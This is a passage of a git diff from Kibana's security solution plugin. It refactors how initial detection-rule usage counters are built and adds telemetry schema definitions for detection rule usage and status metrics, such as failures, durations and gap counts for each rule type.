initialResponseActionsUsage, - }, - custom_total: { - enabled: 0, - disabled: 0, - alerts: 0, - cases: 0, - legacy_notifications_enabled: 0, - legacy_notifications_disabled: 0, - notifications_enabled: 0, - notifications_disabled: 0, - legacy_investigation_fields: 0, - alert_suppression: initialAlertSuppression, - response_actions: initialResponseActionsUsage, - }, + query: getInitialFeatureTypeUsage(), + query_custom: getInitialFeatureTypeUsage(), + threshold: getInitialFeatureTypeUsage(), + threshold_custom: getInitialFeatureTypeUsage(), + eql: getInitialFeatureTypeUsage(), + eql_custom: getInitialFeatureTypeUsage(), + machine_learning: getInitialFeatureTypeUsage(), + machine_learning_custom: getInitialFeatureTypeUsage(), + threat_match: getInitialFeatureTypeUsage(), + threat_match_custom: getInitialFeatureTypeUsage(), + new_terms: getInitialFeatureTypeUsage(), + new_terms_custom: getInitialFeatureTypeUsage(), + esql: getInitialFeatureTypeUsage(), + esql_custom: getInitialFeatureTypeUsage(), + elastic_total: getInitialFeatureTypeUsage(), + custom_total: getInitialFeatureTypeUsage(), }); /** diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schema.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schema.ts new file mode 100644 index 0000000000000..9ea9068987c84 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schema.ts @@ -0,0 +1,34 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { MakeSchemaFrom } from '@kbn/usage-collection-plugin/server'; +import { ruleTypeUsageSchema } from './schemas/detection_rule_usage'; +import { ruleMetricsSchema } from './schemas/prebuilt_rule_detail'; +import { ruleStatusMetricsSchema } from './schemas/detection_rule_status'; +import type { RuleAdoption } from './types'; + +export const rulesMetricsSchema: MakeSchemaFrom = { + spaces_usage: { + total: { + type: 'long', + _meta: { description: 'Total number of spaces where detection rules added' }, + }, + rules_in_spaces: { + type: 'array', + items: { + type: 'long', + _meta: { description: 'Number of rules is each space' }, + }, + }, + }, + detection_rule_usage: ruleTypeUsageSchema, + detection_rule_detail: { + type: 'array', + items: ruleMetricsSchema, + }, + detection_rule_status: ruleStatusMetricsSchema, +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/detection_rule_status.ts b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/detection_rule_status.ts new file mode 100644 index 0000000000000..31471c559e5df --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/usage/detections/rules/schemas/detection_rule_status.ts @@ -0,0 +1,2460 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { MakeSchemaFrom } from '@kbn/usage-collection-plugin/server'; +import type { EventLogStatusMetric } from '../types'; + +export const ruleStatusMetricsSchema: MakeSchemaFrom = { + all_rules: { + eql: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration of time spent indexing alerts' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration of time spent indexing alerts' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration of time spent indexing alerts' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration of time spent searching alerts' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration of time spent searching alerts' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration of time spent searching alerts' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration of time spent enriching alerts' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration of time spent enriching alerts' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration of time spent enriching alerts' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + new_terms: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + esql: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + threat_match: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + machine_learning: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + query: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + saved_query: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + threshold: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + total: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of succeeded rules' }, + }, + }, + }, + elastic_rules: { + eql: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + new_terms: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + esql: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + threat_match: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + machine_learning: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + query: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + saved_query: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + threshold: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_count: { + type: 'long', + _meta: { description: 'The count of gaps' }, + }, + }, + total: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of succeeded rules' }, + }, + }, + }, + custom_rules: { + eql: { + failures: { + type: 'long', + _meta: { description: 'The number of failed rules' }, + }, + top_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + partial_failures: { + type: 'long', + _meta: { description: 'The number of partial failure rules' }, + }, + top_partial_failures: { + type: 'array', + items: { + message: { + type: 'keyword', + _meta: { description: 'Failed rule message' }, + }, + count: { + type: 'long', + _meta: { description: 'Number of times the message occurred' }, + }, + }, + }, + succeeded: { + type: 'long', + _meta: { description: 'The number of successful rules' }, + }, + index_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + search_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + enrichment_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', + _meta: { description: 'The min duration' }, + }, + }, + gap_duration: { + max: { + type: 'float', + _meta: { description: 'The max duration' }, + }, + avg: { + type: 'float', + _meta: { description: 'The avg duration' }, + }, + min: { + type: 'float', 